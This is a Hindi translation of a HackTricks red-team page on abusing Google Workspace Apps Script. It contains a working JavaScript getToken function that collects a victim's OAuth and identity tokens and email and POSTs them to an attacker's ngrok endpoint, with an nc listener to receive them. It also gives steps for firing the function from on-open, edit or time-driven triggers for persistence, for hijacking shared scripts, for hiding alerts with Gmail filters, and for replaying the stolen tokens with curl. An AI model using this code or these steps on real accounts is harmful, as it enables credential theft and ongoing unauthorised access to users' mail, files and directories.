GWS - App Scripts

Reading time: 9 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

App Scripts

App Scripts वह कोड है जो तब सक्रिय होगा जब कोई संपादक अनुमति वाला उपयोगकर्ता उस दस्तावेज़ तक पहुँचता है जिसके साथ App Script जुड़ा हुआ है और OAuth प्रॉम्प्ट स्वीकार करने के बाद
इन्हें App Script के मालिक द्वारा हर निश्चित समय पर निष्पादित करने के लिए भी सेट किया जा सकता है (Persistence).

App Script बनाना

App Script बनाने के कई तरीके हैं, हालांकि सबसे सामान्य तरीके Google Document (किसी भी प्रकार का) से और स्वतंत्र परियोजना के रूप में हैं:

Google Docs, Sheets, या Slides से कंटेनर-बाउंड प्रोजेक्ट बनाएं
  1. एक Docs दस्तावेज़, एक Sheets स्प्रेडशीट, या Slides प्रस्तुति खोलें।
  2. Extensions > Google Apps Script पर क्लिक करें।
  3. स्क्रिप्ट संपादक में, Untitled project पर क्लिक करें।
  4. अपने प्रोजेक्ट का नाम दें और Rename पर क्लिक करें।
स्वतंत्र परियोजना बनाएं

Apps Script से स्वतंत्र परियोजना बनाने के लिए:

  1. script.google.com पर जाएं।
  2. New Project जोड़ने के लिए क्लिक करें।
  3. स्क्रिप्ट संपादक में, Untitled project पर क्लिक करें।
  4. अपने प्रोजेक्ट का नाम दें और Rename पर क्लिक करें।
Google Drive से स्वतंत्र परियोजना बनाएं
  1. Google Drive खोलें।
  2. New > More > Google Apps Script पर क्लिक करें।
Google Forms से कंटेनर-बाउंड प्रोजेक्ट बनाएं
  1. Google Forms में एक फॉर्म खोलें।
  2. More more_vert > Script editor पर क्लिक करें।
  3. स्क्रिप्ट संपादक में, Untitled project पर क्लिक करें।
  4. अपने प्रोजेक्ट का नाम दें और Rename पर क्लिक करें।
clasp कमांड लाइन टूल का उपयोग करके स्वतंत्र परियोजना बनाएं

clasp एक कमांड लाइन टूल है जो आपको टर्मिनल से Apps Script परियोजनाएँ बनाने, खींचने/धकेलने और तैनात करने की अनुमति देता है।

अधिक जानकारी के लिए Command Line Interface using clasp guide देखें।

App Script परिदृश्य

App Script के साथ Google Sheet बनाएं

एक App Script बनाने से शुरू करें, इस परिदृश्य के लिए मेरी सिफारिश है कि आप एक Google Sheet बनाएं और Extensions > App Scripts पर जाएं, इससे आपके लिए शीट से जुड़ी एक नई App Script खुलेगी

टोकन लीक

OAuth टोकन तक पहुँच देने के लिए आपको Services + पर क्लिक करना होगा और जैसे स्कोप जोड़ना होगा:

  • AdminDirectory: निर्देशिका के उपयोगकर्ताओं और समूहों तक पहुँच (यदि उपयोगकर्ता के पास पर्याप्त अनुमतियाँ हैं)
  • Gmail: Gmail डेटा तक पहुँचने के लिए
  • Drive: ड्राइव डेटा तक पहुँचने के लिए
  • Google Sheets API: ताकि यह ट्रिगर के साथ काम करे

अपने लिए आवश्यक स्कोप बदलने के लिए आप प्रोजेक्ट सेटिंग्स में जा सकते हैं और सक्षम कर सकते हैं: Show "appsscript.json" manifest file in editor.

javascript
function getToken() {
var userEmail = Session.getActiveUser().getEmail()
var domain = userEmail.substring(userEmail.lastIndexOf("@") + 1)
var oauthToken = ScriptApp.getOAuthToken()
var identityToken = ScriptApp.getIdentityToken()

// Data json
data = {
oauthToken: oauthToken,
identityToken: identityToken,
email: userEmail,
domain: domain,
}

// Send data
makePostRequest(data)

// Use the APIs, if you don't even if the have configured them in appscript.json the App script won't ask for permissions

// To ask for AdminDirectory permissions
var pageToken = ""
page = AdminDirectory.Users.list({
domain: domain, // Use the extracted domain
orderBy: "givenName",
maxResults: 100,
pageToken: pageToken,
})

// To ask for gmail permissions
var threads = GmailApp.getInboxThreads(0, 10)

// To ask for drive permissions
var files = DriveApp.getFiles()
}

function makePostRequest(data) {
var url = "http://5.tcp.eu.ngrok.io:12027"

var options = {
method: "post",
contentType: "application/json",
payload: JSON.stringify(data),
}

try {
UrlFetchApp.fetch(url, options)
} catch (e) {
Logger.log("Error making POST request: " + e.toString())
}
}

अनुरोध को कैप्चर करने के लिए आप बस चला सकते हैं:

bash
ngrok tcp 4444
nc -lv 4444 #macOS

अनुप्रयोग स्क्रिप्ट को निष्पादित करने के लिए अनुरोधित अनुमतियाँ:

warning

चूंकि एक बाहरी अनुरोध किया गया है, OAuth प्रॉम्प्ट भी बाहरी एंडपॉइंट्स तक पहुँचने के लिए अनुमति मांगेगा

ट्रिगर बनाना

एक बार जब अनुप्रयोग पढ़ लिया जाए, तो ⏰ ट्रिगर्स पर क्लिक करें ताकि एक ट्रिगर बनाया जा सके। कार्य के रूप में getToken चुनें, जो तैनाती पर Head पर चलता है, घटना स्रोत में From spreadsheet चुनें और घटना प्रकार में On open या On edit (आपकी आवश्यकताओं के अनुसार) चुनें और सहेजें।

ध्यान दें कि यदि आप कुछ डिबग करना चाहते हैं तो आप एक्जीक्यूशंस टैब में अनुप्रयोग स्क्रिप्ट के रन की जांच कर सकते हैं

साझा करना

App Script को ट्रिगर करने के लिए पीड़ित को संपादक पहुंच के साथ कनेक्ट करना होगा।

tip

App Script को निष्पादित करने के लिए उपयोग किया जाने वाला टोकन ट्रिगर के निर्माता का होगा, भले ही फ़ाइल को अन्य उपयोगकर्ताओं द्वारा संपादक के रूप में खोला गया हो।

साझा किए गए दस्तावेज़ों का दुरुपयोग करना

caution

यदि किसी ने आपके साथ एक दस्तावेज़ साझा किया है जिसमें App Scripts और ट्रिगर है जो App Script के Head का उपयोग करता है (निश्चित तैनाती नहीं), तो आप App Script कोड को संशोधित कर सकते हैं (उदाहरण के लिए चुराने वाले टोकन फ़ंक्शन जोड़ना), इसे एक्सेस कर सकते हैं, और App Script उन उपयोगकर्ता की अनुमतियों के साथ निष्पादित होगा जिसने आपके साथ दस्तावेज़ साझा किया! (ध्यान दें कि मालिक का OAuth टोकन ट्रिगर बनाए जाने पर दिए गए एक्सेस स्कोप के रूप में होगा)।

स्क्रिप्ट के निर्माता को सूचित करने के लिए एक अधिसूचना भेजी जाएगी कि किसी ने स्क्रिप्ट को संशोधित किया है (क्या जीमेल अनुमतियों का उपयोग करके अलर्ट को रोकने के लिए एक फ़िल्टर बनाने के बारे में?)

tip

यदि एक हमलावर App Script के स्कोप को संशोधित करता है तो अपडेट दस्तावेज़ पर लागू नहीं होंगे जब तक कि एक नया ट्रिगर परिवर्तनों के साथ नहीं बनाया जाता। इसलिए, एक हमलावर ट्रिगर में सेट किए गए स्कोप से अधिक स्कोप के साथ मालिक के निर्माता टोकन को चुराने में असमर्थ होगा।

साझा करने के बजाय कॉपी करना

जब आप एक दस्तावेज़ साझा करने के लिए एक लिंक बनाते हैं, तो एक लिंक इस तरह का बनाया जाता है: https://docs.google.com/spreadsheets/d/1i5[...]aIUD/edit
यदि आप "/edit" के अंत को "/copy" में बदलते हैं, तो इसे एक्सेस करने के बजाय गूगल आपसे पूछेगा कि क्या आप दस्तावेज़ की एक प्रति उत्पन्न करना चाहते हैं:

यदि उपयोगकर्ता इसे कॉपी करता है और इसे एक्सेस करता है, तो दस्तावेज़ की सामग्री और App Scripts दोनों को कॉपी किया जाएगा, हालाँकि ट्रिगर नहीं होंगे, इसलिए कुछ भी निष्पादित नहीं होगा

वेब एप्लिकेशन के रूप में साझा करना

ध्यान दें कि App Script को वेब एप्लिकेशन के रूप में साझा करना भी संभव है (App Script के संपादक में, वेब एप्लिकेशन के रूप में तैनात करें), लेकिन इस तरह का एक अलर्ट दिखाई देगा:

इसके बाद आवश्यक अनुमतियों के लिए विशिष्ट OAuth प्रॉम्प्ट आएगा।

परीक्षण

आप एकत्रित टोकन का परीक्षण कर सकते हैं ताकि ईमेल सूचीबद्ध किया जा सके:

bash
curl -X GET "https://www.googleapis.com/gmail/v1/users/<user@email>/messages" \
-H "Authorization: Bearer <token>"

उपयोगकर्ता का कैलेंडर सूचीबद्ध करें:

bash
curl -H "Authorization: Bearer $OAUTH_TOKEN" \
-H "Accept: application/json" \
"https://www.googleapis.com/calendar/v3/users/me/calendarList"

App Script के रूप में स्थिरता

स्थिरता के लिए एक विकल्प होगा एक दस्तावेज़ बनाना और getToken फ़ंक्शन के लिए एक ट्रिगर जोड़ना और दस्तावेज़ को हमलावर के साथ साझा करना ताकि हर बार जब हमलावर फ़ाइल खोलता है, वह पीड़ित का टोकन निकालता है।

यह भी संभव है कि एक App Script बनाई जाए और इसे हर X समय (जैसे हर मिनट, घंटे, दिन...) ट्रिगर किया जाए। एक हमलावर जिसने पीड़ित के क्रेडेंशियल्स या सत्र को समझौता किया है, वह एक App Script समय ट्रिगर सेट कर सकता है और हर दिन एक बहुत ही विशेषाधिकार प्राप्त OAuth टोकन लीक कर सकता है:

बस एक App Script बनाएं, ट्रिगर्स पर जाएं, Add Trigger पर क्लिक करें, और घटना स्रोत के रूप में Time-driven चुनें और उन विकल्पों का चयन करें जो आपके लिए सबसे उपयुक्त हैं:

caution

यह एक सुरक्षा अलर्ट ईमेल और आपके मोबाइल पर इस बारे में एक पुश संदेश बनाएगा।

साझा दस्तावेज़ अवेरिफाइड प्रॉम्प्ट बायपास

इसके अलावा, यदि किसी ने आपके साथ संपादक पहुंच के साथ एक दस्तावेज़ साझा किया है, तो आप दस्तावेज़ के अंदर App Scripts उत्पन्न कर सकते हैं और दस्तावेज़ का OWNER (निर्माता) App Script का मालिक होगा

warning

इसका मतलब है कि दस्तावेज़ का निर्माता किसी भी App Script का निर्माता के रूप में दिखाई देगा जिसे कोई भी संपादक पहुंच के साथ इसके अंदर बनाता है।

इसका मतलब यह भी है कि App Script को दस्तावेज़ के निर्माता के Workspace वातावरण द्वारा विश्वसनीय माना जाएगा

caution

इसका मतलब यह भी है कि यदि एक App Script पहले से मौजूद है और लोगों ने पहुँच दी है, तो कोई भी Editor अनुमति वाले व्यक्ति इसे संशोधित कर सकता है और उस पहुंच का दुरुपयोग कर सकता है।
इसका दुरुपयोग करने के लिए आपको लोगों को App Script को ट्रिगर करने की भी आवश्यकता है। और एक अच्छा ट्रिक है स्क्रिप्ट को एक वेब ऐप के रूप में प्रकाशित करना। जब लोग जो पहले से पहुँच दे चुके हैं, वेब पृष्ठ तक पहुँचते हैं, तो वे App Script को ट्रिगर करेंगे (यह <img> टैग का उपयोग करके भी काम करता है)।

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें